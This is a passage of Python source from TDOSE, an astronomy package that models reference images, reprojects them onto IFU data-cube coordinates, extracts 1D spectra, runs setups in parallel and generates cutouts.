tdose.model_refimage(setupdic,refimg,img_hdr,sourcecat,modelimg,modelparam,regionfile,img_wcs,img_data,names,\n                                         save_init_model_output=save_init_model_output,centralpointsource=centralpointsource,\n                                         clobber=clobber,verbose=verbose,verbosefull=verbosefull,objid=extid)\n                else:\n                    if verbose: print(' >>> Skipping modeling reference image (assume models exist)')\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbosefull: print('--------------------------------------------------------------------------------------------------')\n            if verbosefull: print(' TDOSE: Convert ref. image model to cube WCS                '+\\\n                                  '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            cubewcsimg       = setupdic['models_directory']+'/'+\\\n                               refimg.split('/')[-1].replace('.fits','_'+setupdic['model_image_cube_ext']+'_'+\n                                                             setupdic['source_model']+'.fits')\n            if not FoV_modelexists:\n                paramREF      = tu.build_paramarray(modelparam,verbose=verbosefull)\n                paramCUBE     = tu.convert_paramarray(paramREF,img_hdr,cube_hdr,type=setupdic['source_model'].lower(),verbose=verbosefull)\n            elif FoV_modelexists:\n                modelimgsize = model_file\n\n            if refimagemodel2cubewcs:\n                cubehdu       = afits.PrimaryHDU(cube_data[0,:,:])\n                cubewcshdr    = cube_wcs2D.to_header()\n                for key in cubewcshdr:\n                    if key == 'PC1_1':\n                        cubehdu.header.append(('CD1_1',cubewcshdr[key],cubewcshdr[key]),end=True)\n                    elif key == 'PC2_2':\n                        cubehdu.header.append(('CD2_2',cubewcshdr[key],cubewcshdr[key]),end=True)\n                    else:\n                        cubehdu.header.append((key,cubewcshdr[key],cubewcshdr[key]),end=True)\n\n                if not FoV_modelexists:\n                    modelimgsize = cube_data.shape[1:]\n                else:\n                    if len(FoV_modeldata.shape) == 2:\n                        FoV_modeldata_reproject = FoV_modeldata\n                    elif len(FoV_modeldata.shape) == 3:\n                        FoV_modeldata_reproject = np.sum(FoV_modeldata, axis=0)\n                    else:\n                        sys.exit(' ---> Shape of model data array is not 2 (image) or 3 (cube) ')\n\n                    projected_image, footprint = reproject_interp( (FoV_modeldata_reproject, img_wcs), cube_wcs2D,\n                                                                   shape_out=cube_data.shape[1:])\n                    projected_image[np.isnan(projected_image)] = 0.0 # replacing NaNs from reprojection with 0s\n                    paramCUBE  = projected_image/np.sum(projected_image)*np.sum(FoV_modeldata) # normalize and scale to match FoV_modeldata\n\n                tmf.save_modelimage(cubewcsimg,paramCUBE,modelimgsize,modeltype=setupdic['source_model'].lower(),\n                                    param_init=False,clobber=clobber,outputhdr=cubehdu.header,verbose=verbosefull)\n\n                if FoV_modelexists:\n                    if (len(FoV_modeldata.shape) == 3):\n                        paramCUBE = np.zeros([FoV_modeldata.shape[0],cube_data.shape[1],cube_data.shape[2]])\n                        if verbose: print(' - Reprojecting and normalizing individual components in object model cube to use for extraction ')\n                        for component in np.arange(int(FoV_modeldata.shape[0])):\n                            projected_comp, footprint_comp = reproject_interp( (FoV_modeldata[component,:,:], img_wcs), cube_wcs2D,\n                                                                               shape_out=cube_data.shape[1:])\n                            projected_comp[np.isnan(projected_comp)] = 0.0\n                            paramCUBE[component,:,:] = projected_comp/ np.sum(projected_comp)\n            else:\n                if verbose: print(' >>> Skipping converting reference image model to cube WCS frame (assume models exist)')\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbosefull: print('--------------------------------------------------------------------------------------------------')\n            if verbosefull: print(' TDOSE: Defining PSF as FWHM = p0 + p1(lambda-'+str(setupdic['psf_FWHMp2'])+'A)        '+\\\n                                  '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            if definePSF or modeldatacube:\n                if setupdic['source_model'] == 'aperture':\n                    if verbose: print(' >>> Skipping defining PSF as source_model = \"aperture\", i.e., convolution of ref. image model')\n                    paramPSF = None\n                else:\n                    paramPSF = tdose.define_psf(setupdic,datacube,cube_data,cube_scales,cube_hdr,cube_waves,\n                                                clobber=clobber,verbose=verbose,verbosefull=verbosefull)\n            else:\n                if verbose: print(' >>> Skipping defining PSF of data cube (assume it is defined)')\n\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbosefull: print('--------------------------------------------------------------------------------------------------')\n            if verbosefull: print(' TDOSE: Modelling data cube                                 '+\\\n                                  '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            modcubename = setupdic['models_directory']+'/'+\\\n                          datacube.split('/')[-1].replace('.fits','_'+setupdic['model_cube_ext']+'_'+setupdic['source_model']+'.fits')\n            rescubename = setupdic['models_directory']+'/'+\\\n                          datacube.split('/')[-1].replace('.fits','_'+setupdic['residual_cube_ext']+'_'+setupdic['source_model']+'.fits')\n\n            psfcubename  = setupdic['models_directory']+'/'+datacube.split('/')[-1].replace('.fits','_tdose_psfcube_'+\n                                                                                            setupdic['source_model']+'.fits')\n            if modeldatacube:\n                tdose.model_datacube(setupdic,extid,modcubename,rescubename,cube_data,cube_variance,paramCUBE,cube_hdr,paramPSF,\n                                     psfcubename=psfcubename,clobber=clobber,verbose=verbose,verbosefull=verbosefull)\n            else:\n                if verbose: print(' >>> Skipping modeling of data cube (assume it exists)')\n\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            sourcecubename  = setupdic['models_directory']+'/'+\\\n                              datacube.split('/')[-1].replace('.fits','_'+setupdic['source_model_cube_ext']+'_'+\n                                                              setupdic['source_model']+'.fits')\n\n            if createsourcecube:\n                if verbosefull: print('--------------------------------------------------------------------------------------------------')\n                if verbosefull: print(' TDOSE: Creating source model cube                          '+\\\n                                      '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n                model_cube        = afits.open(modcubename)[setupdic['cube_extension']].data\n                layer_scales      = afits.open(modcubename)['WAVESCL'].data\n                if setupdic['source_model'].lower() != 'aperture':\n                    psfcube       = afits.open(psfcubename)[setupdic['cube_extension']].data\n                else:\n                    psfcube       = None\n\n                source_model_cube = tmc.gen_source_model_cube(layer_scales,model_cube.shape,paramCUBE,paramPSF,\n                                                              psfcube=psfcube,paramtype=setupdic['source_model'],\n                                                              psfparamtype=setupdic['psf_type'],save_modelcube=True,\n                                                              cubename=sourcecubename,clobber=clobber,outputhdr=cube_hdr,\n                                                              verbose=verbosefull)\n\n            else:\n                if verbose: print(' >>> Skipping generating source model cube (assume it exists)')\n\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbose: print('==================================================================================================')\n            if verbose: print(' TDOSE: Storing extracted 1D spectra to files               '+\\\n                              '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            specoutputdir      = setupdic['spec1D_directory']\n            model_cube_file    = modcubename\n            variance_cube_file = variancecube\n            variance_cube_ext  = setupdic['variance_extension']\n            smc_file           = sourcecubename\n            smc_ext            = setupdic['cube_extension']\n\n            # - - - - - - - - - - - - Putting together source association dictionary - - - - - - - - - - - - -\n            SAD    = collections.OrderedDict()\n\n            if FoV_modelexists:\n                sourceids = afits.open(sourcecat)[1].data[setupdic['sourcecat_IDcol']]\n\n            if extid == -9999: # If full FoV is modeled\n                if setupdic['sources_to_extract'] == 'all':\n                    for ss, sid in enumerate(extractids):\n                        SAD[str(\"%.10d\" % int(sid))] = [ss]\n                else:\n                    if setupdic['sourcecat_parentIDcol'] is not None:\n                        parentids = afits.open(sourcecat)[1].data[setupdic['sourcecat_parentIDcol']]\n\n                        for ee, eid in enumerate(extractids):\n                            sourceent = np.where(sourceids == eid)[0]\n                            parent    = parentids[sourceent][0]\n                            if float(parent) < 0: # ignoring parents with negative IDs. Looking for object IDs in parent list instead\n                                sourceent = np.where(parentids == eid)[0]\n                                parent    = parentids[sourceent][0]\n\n                            groupent  = np.where(parentids == parent)[0]\n                            SAD       = {str(\"%.10d\" % int(parent))+'-'+str(\"%.10d\" % int(eid)) : groupent.tolist()}\n                    else:\n                        for ss, sid in enumerate(extractids):\n                            SAD[str(\"%.10d\" % int(sid))] = [ss]\n\n            else:  # If cutouts are modeled instead of full FoV\n                if setupdic['sourcecat_parentIDcol'] is not None:\n                    parentids = afits.open(sourcecat)[1].data[setupdic['sourcecat_parentIDcol']]\n                    sourceent = np.where(sourceids == extid)[0]\n                    parent    = parentids[sourceent][0]\n                    if float(parent) < 0: # ignoring parents with negative IDs. Looking for object IDs in parent list instead\n                        sourceent = np.where(parentids == extid)[0]\n                        parent    = parentids[sourceent][0]\n\n                    groupent  = np.where(parentids == parent)[0]\n                    SAD[str(\"%.10d\" % int(parent))+'-'+str(\"%.10d\" % int(extid))] =  groupent.tolist()\n                else:\n                    sourceent = np.where(sourceids == extid)[0]\n                    SAD[str(\"%.10d\" % int(extid))] =  sourceent.tolist()\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if store1Dspectra:\n                specfiles  = tes.extract_spectra(model_cube_file,model_cube_ext=setupdic['cube_extension'],\n                                                 layer_scale_ext='WAVESCL',clobber=clobber,\n                                                 nameext=setupdic['spec1D_name']+'_'+setupdic['source_model'],\n                                                 source_association_dictionary=SAD,outputdir=specoutputdir,\n                                                 variance_cube_file=variance_cube_file,variance_cube_ext=variance_cube_ext,\n                                                 source_model_cube_file=smc_file,source_cube_ext=smc_ext,\n                                                 data_cube_file=datacube,verbose=verbosefull)\n            else:\n                if verbose: print(' >>> Skipping storing 1D spectra to binary fits tables ')\n\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbose: print('==================================================================================================')\n            if verbose: print(' TDOSE: Plotting extracted spectra                    '+\\\n                              '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            if setupdic['plot_generate']:\n                tdose.plot_spectra(setupdic,SAD,specoutputdir,plot1Dspectra=plot1Dspectra,plotS2Nspectra=plotS2Nspectra,\n                                   verbose=verbosefull)\n\n                objids    = list(SAD.keys())\n                tu.gen_overview_plot(objids,setupfile,verbose=verbosefull)\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbose:\n                print('==================================================================================================')\n                print(' TDOSE: Modeling and extraction done for object '+str(extid)+\\\n                      '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )       ')\n                print('                                                       '+\\\n                      '   --> Object runtime = '+str(\"%10.4f\" % (time.clock() - start_time_obj))+' seconds <--   ')\n                print(' - To open all generated files in DS9 execute the following command ')\n                ds9cmd  = ' ds9 '\n                Nframes = 0\n                if os.path.isfile(refimg):\n                    ds9cmd  = ds9cmd+refimg+' '\n                    Nframes = Nframes + 1\n\n                    if os.path.isfile(setupdic['source_catalog'].replace('.fits','.reg')):\n                        ds9cmd = ds9cmd+' -region '+setupdic['source_catalog'].replace('.fits','.reg')+' '\n\n                if os.path.isfile(modelimg):\n                    ds9cmd = ds9cmd+modelimg\n                    Nframes = Nframes + 1\n\n                    if os.path.isfile(regionfile):\n                        ds9cmd = ds9cmd+' -region '+regionfile+' '\n\n                if os.path.isfile(modelimg.replace('.fits','_residual.fits')):\n                    ds9cmd = ds9cmd+modelimg.replace('.fits','_residual.fits')+' '\n                    Nframes = Nframes + 1\n\n                if os.path.isfile(cubewcsimg):\n                    ds9cmd = ds9cmd+cubewcsimg+' '\n                    Nframes = Nframes + 1\n\n                if os.path.isfile(datacube):\n                    ds9cmd = ds9cmd+datacube+' '\n                    Nframes = Nframes + 1\n\n                if os.path.isfile(modcubename):\n                    ds9cmd = ds9cmd+modcubename+' '\n                    Nframes = Nframes + 1\n\n                if os.path.isfile(rescubename):\n                    ds9cmd = ds9cmd+rescubename+' '\n                    Nframes = Nframes + 1\n\n                if os.path.isfile(sourcecubename):\n                    ds9cmd = ds9cmd+sourcecubename+' '\n                    Nframes = Nframes + 1\n\n                ds9cmd = ds9cmd+'-lock frame wcs -tile grid layout '+str(Nframes)+' 1 &'\n                print(ds9cmd)\n                print('==================================================================================================')\n\n        if verbose:\n            print(\"\"\"\n                                                   .''.\n                         .''.             *''*    :_\\/_:     .\n                        :_\\/_:   .    .:.*_\\/_*   : /\\ :  .'.:.'.\n                    .''.: /\\ : _\\(/_  ':'* /\\ *  : '..'.  -=:o:=-\n                   :_\\/_:'.:::. /)\\*''*  .|.* '.\\'/.'_\\(/_'.':'.'\n                   : /\\ : :::::  '*_\\/_* | |  -= o =- /)\\    '  *\n                    '..'  ':::'   * /\\ * |'|  .'/.\\'.  '._____\n                        *        __*..* |  |     :      |.   |' .---|\n                         _*   .-'   '-. |  |     .--'|  ||   | _|   |\n                      .-'|  _.|  |    ||   '-__  |   |  |    ||     |\n                      |' | |.    |    ||       | |   |  |    ||     |\n                   ___|  '-'     '    \"\"       '-'   '-.'    '`     |____\n\n                     _________   _____       ______     _____     ______\n                    |__    __|| |  __ \\\\\\\\    /  __  \\\\\\\\  / ____\\\\\\\\  |  ___||\n                       |  ||    | || \\ \\\\\\\\   | || | ||  \\ \\\\\\\\__    | ||__\n                       |  ||    | || | ||   | || | ||   \\__  \\\\\\\\  |  __||\n                       |  ||    | ||_/ //   | ||_| ||   ___\\  \\\\\\\\ | ||___\n                       |__||    |_____//    \\_____//   |______// |_____||\n\n                       _____      ______     __    __    ______    ___\n                      |  __ \\\\\\\\   /  __  \\\\\\\\  |  \\\\\\\\ |  ||  |  ___||  |  ||\n                      | || \\ \\\\\\\\  | || | ||  |   \\\\\\\\|  ||  | ||__    |  ||\n                      | || | ||  | || | ||  |        ||  |  __||   |__||\n                      | ||_/ //  | ||_| ||  |  ||\\   ||  | ||___    __\n                      |_____//   \\_____//   |__|| \\__||  |_____||  |__||\n\n==================================================================================================\n \"\"\")\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if logterminaloutput:\n        setupdic  = tu.load_setup(setupfile,verbose=False)\n        outputlog = setupdic['spec1D_directory']+setupfile.split('/')[-1].replace('.txt','_logged_output.txt')\n\n        bufsize = 0\n        f = open(outputlog, 'a', bufsize)\n        sys.stdout = f\n        f.write('\\n\\n\\n\\n>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> LOG FROM RUN STARTED ON '+tu.get_now_string()+\n                ' <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\n\\n')\n\n        tdosefunction(setupfile,performcutout,generatesourcecat,modelrefimage,refimagemodel2cubewcs,\n                      definePSF,modeldatacube,createsourcecube,store1Dspectra,plot1Dspectra,\n                      plotS2Nspectra,save_init_model_output,clobber,verbose,verbosefull,\n                      skipextractedobjects,skipspecificobjects)\n\n        sys.stdout = sys.__stdout__\n        f.close()\n    else:\n        tdosefunction(setupfile,performcutout,generatesourcecat,modelrefimage,refimagemodel2cubewcs,\n                      definePSF,modeldatacube,createsourcecube,store1Dspectra,plot1Dspectra,\n                      plotS2Nspectra,save_init_model_output,clobber,verbose,verbosefull,\n                      skipextractedobjects,skipspecificobjects)\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef perform_extractions_in_parallel(setupfiles,Nsessions=0,verbose=True,generateFullFoVmodel=True,generateOverviewPlots=True,\n                                    # - - - - - - - Inputs passed to tdose.perform_extraction() - - - - - - -\n                                    performcutout=True,generatesourcecat=True,modelrefimage=True,refimagemodel2cubewcs=True,\n                                    definePSF=True,modeldatacube=True,createsourcecube=True,store1Dspectra=True,plot1Dspectra=True,\n                                    plotS2Nspectra=True,save_init_model_output=False,clobber=False,verbosePE=True,verbosefull=False,\n                                    logterminaloutput=True,skipextractedobjects=False,skipspecificobjects=None):\n    \"\"\"\n    Run multiple TDOSE setups in parallel\n\n    --- INPUT ---\n    setupfiles               List of setup files to run in parallel\n    Nsessions                The number of parallel sessions to launch (the list of setupfiles will be bundled up in\n                             Nsessions bundles to run). The default is 0 which will run Nsetupfiles sessions with\n                             1 setup file per parallel session.\n    verbose                  Toggle verbosity\n    generateFullFoVmodel     Combine cutouts (if the run is based on cutouts) into full FoV model cube with\n                             tdose.gen_fullFoV_from_cutouts()\n    generateOverviewPlots    Generate overview plots of each of the extracted objects with tu.gen_overview_plot()\n\n    **remaining input**      Input passed to tdose.perform_extraction();\n                             see tdose.perform_extraction() header for details\n\n    --- EXAMPLE OF USE ---\n    import tdose, glob\n    setupfiles           = ['setup01','setup02','setup03','setup04','setup05','setup06','setup07','setup08','setup09']\n    setupfiles           = glob.glob('/Users/kschmidt/work/TDOSE/tdose_setup_candels-cdfs-*[0-99].txt')\n    bundles, paralleldic = tdose.perform_extractions_in_parallel(setupfiles,Nsessions=2,clobber=True,performcutout=False,store1Dspectra=False,plot1Dspectra=False,generateFullFoVmodel=False,generateOverviewPlots=True,skipextractedobjects=True,logterminaloutput=True)\n\n    \"\"\"\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    def parallel_worker(setupfiles,performcutout,generatesourcecat,modelrefimage,refimagemodel2cubewcs,definePSF,\n                        modeldatacube,createsourcecube,store1Dspectra,plot1Dspectra,plotS2Nspectra,\n                        save_init_model_output,clobber,verbose,verbosefull,logterminaloutput,\n                        generateFullFoVmodel=True,generateOverviewPlots=True,skipextractedobjects=False,skipspecificobjects=None):\n        \"\"\"\n        Multiprocessing worker function\n        \"\"\"\n        for setupfile in setupfiles:\n            tdose.perform_extraction(setupfile=setupfile,performcutout=performcutout,generatesourcecat=generatesourcecat,\n                                     modelrefimage=modelrefimage,refimagemodel2cubewcs=refimagemodel2cubewcs,\n                                     definePSF=definePSF,modeldatacube=modeldatacube,createsourcecube=createsourcecube,\n                                     store1Dspectra=store1Dspectra,plot1Dspectra=plot1Dspectra,plotS2Nspectra=plotS2Nspectra,\n                                     save_init_model_output=save_init_model_output,clobber=clobber,\n                                     verbose=verbose,verbosefull=verbosefull,logterminaloutput=logterminaloutput,\n                                     skipextractedobjects=skipextractedobjects,skipspecificobjects=skipspecificobjects)\n            if generateFullFoVmodel:\n                tdose.gen_fullFoV_from_cutouts(setupfile,clobber=clobber)\n\n            if generateOverviewPlots:\n                tu.gen_overview_plot('all',setupfile)\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    bundles     = collections.OrderedDict()\n    Nsetups     = len(setupfiles)\n    if (type(Nsessions) is not int) or (Nsessions < 0):\n        sys.exit(' ---> Nsessions must be a positive integer; it was not: '+Nsessions)\n    if Nsessions == 0:\n        Nbundle = Nsetups\n\n        for ii in np.arange(int(Nbundle)):\n            string          = 'bundleNo'+str(ii+1)\n            bundles[string] = [setupfiles[ii]]\n    else:\n        Nbundle     = int(Nsessions)\n        bundlesize  = int(np.ceil(float(Nsetups)/float(Nbundle)))\n\n        for ii in np.arange(int(Nbundle)):\n            string = 'bundleNo'+str(ii+1)\n            if ii == Nbundle: # Last bundle\n                bundles[string] = setupfiles[ii*bundlesize:]\n            else:\n                bundles[string] = setupfiles[bundlesize*ii:bundlesize*(ii+1)]\n\n    if verbose: print(' - Found '+str(Nsetups)+' setup files to bundle up and run '+str(Nbundle)+' parallel sessions for')\n\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' ---- Starting multiprocess parallel run of the '+str(Nsetups)+' TDOSE setups ---- ')\n    tstart  = tu.get_now_string(withseconds=True)\n\n    mngr = multiprocessing.Manager() # initialize Manager too keep track of worker function output\n    return_dict = mngr.dict()        # define Manager dictionary to store output from Worker function in\n    jobs = []\n\n    for ii in np.arange(int(Nbundle)):\n        bundlekey = 'bundleNo'+str(ii+1)\n        if len(bundles[bundlekey]) == 1:\n            jobname = bundles[bundlekey][0].split('/')[-1]\n        else:\n            jobname = bundlekey\n\n        job = multiprocessing.Process(target=parallel_worker,\n                                      args  = (bundles[bundlekey],performcutout,generatesourcecat,modelrefimage,\n                                               refimagemodel2cubewcs,definePSF,modeldatacube,createsourcecube,store1Dspectra,\n                                               plot1Dspectra,plotS2Nspectra,save_init_model_output,clobber,\n                                               verbose,verbosefull,logterminaloutput,\n                                               generateFullFoVmodel,generateOverviewPlots,skipextractedobjects,skipspecificobjects),\n                                      name  = jobname)\n\n        jobs.append(job)\n        job.start()\n        #job.join() # wait until job has finished\n\n    for job in jobs:\n        job.join()\n\n    tend = tu.get_now_string(withseconds=True)\n\n    if verbose:\n        print('\\n ---- The perform_extractions_in_parallel finished running the jobs for all TDOSE setups ----')\n        print('      Start        : '+tstart)\n        print('      End          : '+tend)\n        print('      Exitcode = 0 : job produced no error ')\n        print('      Exitcode > 0 : job had an error, and exited with that code (signal.SIGTERM)')\n        print('      Exitcode < 0 : job was killed with a signal of -1 * exitcode (signal.SIGTERM)')\n\n        for job in jobs:\n            print(' - The job running field ',job.name,' exited with exitcode: ',job.exitcode)\n\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' - Adding output from parallelized run to dictionary')\n    dict = {}\n    for key in list(return_dict.keys()):\n        dict[key] = return_dict[key]  # filling dictionary\n\n    return bundles, dict\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef gen_cutouts(setupdic,extractids,sourceids_init,sourcedat_init,\n                performcutout=True,generatesourcecat=True,clobber=False,verbose=True,verbosefull=True,start_time=0.0,\n                check4modelcat=True):\n    \"\"\"\n    Generate cutouts of reference image and data cube\n\n    --- INPUT ---\n    setupdic              Dictionary containing the setup parameters read from the TDOSE setup file\n    extractids            IDs of objects to extract spectra for\n    sourceids_init        The initial source IDs\n    sourcedat_init        The initial source data\n    performcutout         Set to true to actually perform cutouts.\n    generatesourcecat     To generate a (sub) source catalog corresponding to the objects in the cutout\n    clobber               Overwrite existing files\n    verbose               Toggle verbosity\n    verbosefull           Toggle extended verbosity\n    start_time            Start time of wrapper cutout generation is embedded in\n\n    \"\"\"\n    Nextractions = len(extractids)\n    cut_images = []\n    cut_cubes  = []\n    for oo, cutoutid in enumerate(extractids):\n        if verbose:\n            infostr = ' - Cutting out object '+str(\"%4.f\" % (oo+1))+' / '+\\\n                      str(\"%4.f\" % Nextractions)+' with ID = '+str(cutoutid)+'           '+tu.get_now_string()\n            if verbosefull:\n                print(infostr)\n            else:\n                sys.stdout.write(\"%s\\r\" % infostr)\n                sys.stdout.flush()\n\n        objent = np.where(sourceids_init == cutoutid)[0]\n        if len(objent) != 1:\n            sys.exit(' ---> More than one (or no) match in source catalog to ID '+str(cutoutid))\n\n        ra          = sourcedat_init[setupdic['sourcecat_racol']][objent]\n        dec         = sourcedat_init[setupdic['sourcecat_deccol']][objent]\n\n\n        cutstr, cutoutsize, cut_img, cut_cube, cut_variance, cut_sourcecat = tu.get_datinfo(cutoutid,setupdic)\n\n        if setupdic['wht_image'] is None:\n            imgfiles = [setupdic['ref_image']]\n            imgexts  = [setupdic['img_extension']]\n            cut_img  = [cut_img]\n        else:\n            imgfiles = [setupdic['ref_image'],setupdic['wht_image']]\n            imgexts  = [setupdic['img_extension'],setupdic['wht_extension']]\n        cut_images.append(cut_img[0])\n\n        if performcutout:\n            if setupdic['data_cube'] == setupdic['variance_cube']:\n                cutouts   = tu.extract_subcube(setupdic['data_cube'],ra,dec,cutoutsize,cut_cube,\n                                               cubeext=[setupdic['cube_extension'],setupdic['variance_extension']],clobber=clobber,\n                                               imgfiles=imgfiles,imgexts=imgexts,\n                                               imgnames=cut_img,verbose=verbosefull)\n            else:\n                cutouts   = tu.extract_subcube(setupdic['data_cube'],ra,dec,cutoutsize,cut_cube,\n                                               cubeext=[setupdic['cube_extension']],clobber=clobber,\n                                               imgfiles=imgfiles,imgexts=imgexts,\n                                               imgnames=cut_img,verbose=verbosefull)\n\n                cutouts   = tu.extract_subcube(setupdic['variance_cube'],ra,dec,cutoutsize,cut_variance,\n                                               cubeext=[setupdic['variance_extension']],clobber=clobber,\n                                               imgfiles=None,imgexts=None,imgnames=None,verbose=verbosefull)\n        else:\n            if verbose: print(' >>> Skipping cutting out images and cubes (assuming they exist)                                 ')\n            cutouts = 'dummy'\n\n        # --- SUB-SOURCE CAT ---\n        if generatesourcecat & (cutouts is not None):\n            foundmodelcat = False\n            if check4modelcat:\n                if setupdic['modelimg_directory'] is not None:\n                    if not performcutout: # only print if info from cutting out is not printed\n                        print(' - Looking for source catalogs in the \"modelimg_directory\" ')\n                    checkstring = 'noModelComponent'\n                    if checkstring in cut_sourcecat:\n                        print((' - '+checkstring+' source catalog; using (ra,dec) match to \"source_catalog\" instead'))\n                    else:\n                        model_sourcecat_str = setupdic['modelimg_directory']+'/*'+\\\n                                              cut_sourcecat.split('_id')[-1].replace('.fits','_sourcecatalog.fits')\n                        model_sourcecat = glob.glob(model_sourcecat_str)\n                        if len(model_sourcecat) == 1:\n                            if not performcutout: # only print if info from cutting out is not printed\n                                print('   Found a unqie match for the objects -> using it instead of a (ra,dec) match to \"source_catalog\" ')\n                            shutil.copyfile(model_sourcecat[0],cut_sourcecat)\n                            foundmodelcat = True\n                        elif len(model_sourcecat) > 1:\n                            if not performcutout: # only print if info from cutting out is not printed\n                                print(('   Found '+str(len(model_sourcecat))+\n                                      ' matches for the object -> using (ra,dec) match to \"source_catalog\" instead'))\n                        else:\n                            if not performcutout: # only print if info from cutting out is not printed\n                                print('   Did not find any generating cutout source catalog from (ra,dec) match to \"source_catalog\" ')\n\n            if not foundmodelcat:\n                if not performcutout: # only print if info from cutting out is not printed\n                    print(' - Generating cutout source catalog from (ra,dec) match to main \"source_catalog\" ')\n                obj_in_cut_fov = np.where( (sourcedat_init[setupdic['sourcecat_racol']] <\n                                            (ra + cutoutsize[0]/2./3600. / np.cos(np.deg2rad(dec)))) &\n                                           (sourcedat_init[setupdic['sourcecat_racol']] >\n                                            (ra - cutoutsize[0]/2./3600. / np.cos(np.deg2rad(dec)))) &\n                                           (sourcedat_init[setupdic['sourcecat_deccol']] < (dec + cutoutsize[1]/2./3600.)) &\n                                           (sourcedat_init[setupdic['sourcecat_deccol']] > (dec - cutoutsize[1]/2./3600.)) )[0]\n\n                Ngoodobj      = len(obj_in_cut_fov)\n                cutout_hdr    = afits.open(cut_images[oo])[setupdic['img_extension']].header\n                cut_sourcedat = sourcedat_init[obj_in_cut_fov].copy()\n                storearr      = np.zeros(Ngoodobj,dtype=cut_sourcedat.columns) # define structure array to store to fits file\n                for ii in np.arange(Ngoodobj):\n                    striphdr   = tu.strip_header(cutout_hdr.copy())\n                    wcs_in     = wcs.WCS(striphdr)\n                    skycoord   = SkyCoord(cut_sourcedat[ii][setupdic['sourcecat_racol']],\n                                          cut_sourcedat[ii][setupdic['sourcecat_deccol']], frame='fk5', unit='deg')\n                    pixcoord   = wcs.utils.skycoord_to_pixel(skycoord,wcs_in,origin=1)\n                    cut_sourcedat[ii][setupdic['sourcecat_xposcol']] = pixcoord[0]\n                    cut_sourcedat[ii][setupdic['sourcecat_yposcol']] = pixcoord[1]\n\n                    storearr[ii] = np.vstack(np.asarray(cut_sourcedat))[ii,:]\n\n                astropy.io.fits.writeto(cut_sourcecat,storearr,header=None,overwrite=clobber)\n        else:\n            if verbose: print(' >>> Skipping generating the cutout source catalog for '+str(cutoutid)+' ')\n    if not verbosefull:\n        if verbose: print('\\n   done')\n\n    if verbose:\n        print('==================================================================================================')\n        print(' TDOSE: Done cutting out sub cubes and postage stamps       '+\\\n              '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n        print(' - To open resulting images in DS9 execute the following command ')\n        ds9string = ' ds9 '+setupdic['ref_image']+' xxregionxx '+\\\n                    ' '.join(cut_images)+' -lock frame wcs -tile grid layout '+str(len(cut_images)+1)+' 1 &'\n        regname   = setupdic['source_catalog'].replace('.fits','.reg')\n        if os.path.isfile(regname):\n            ds9string = ds9string.replace('xxregionxx',' -region '+regname+' ')\n        else:\n            ds9string = ds9string.replace('xxregionxx',' ')\n        print(ds9string)\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef gen_fullFoV_from_cutouts(setupfile,store_sourcemodelcube=False,store_modelcube=True,clobber=False,verbose=True):\n    \"\"\"\n    This routine combines the 3D scaled model cubes obtained from individual cutouts to a\n    source model cube of the full FoV the cutouts were extracted from so the full FoV IFU\n    cube can be modified based on the individual cutouts.\n\n    --- INPUT ---\n    setupfile              TDOSE setup file used to run tdose.perform_extraction() with  model_cutouts=True\n    store_sourcemodelcube  Save the 4D source model cube to a fits file (it's large: ~ size of 3Dcube * Nsources).\n                           Hence, if too little memory is available on the system python will likely crash.\n    store_modelcube        If true a model cube (woudl be the same as summing over the source model cube) will be\n                           stored as a seperate fits file. This only requieres memory enough to handle two cubes\n                           as opposed to Nsources * cube when manipulating the 4D source model cube.\n    clobber                Overwrite existing files\n    verbose                Toggle verbosity\n\n    --- EXAMPLE OF USE ---\n    import tdose\n    tdose.gen_fullFoV_from_cutouts('/Users/kschmidt/work/TDOSE/tdose_setup_candels-cdfs-02.txt')\n\n    \"\"\"\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' - Loading setup file and getting IDs that were extracted (and hence cutout)')\n    setupdic        = tu.load_setup(setupfile,verbose=verbose)\n\n    sourcecat_init  = 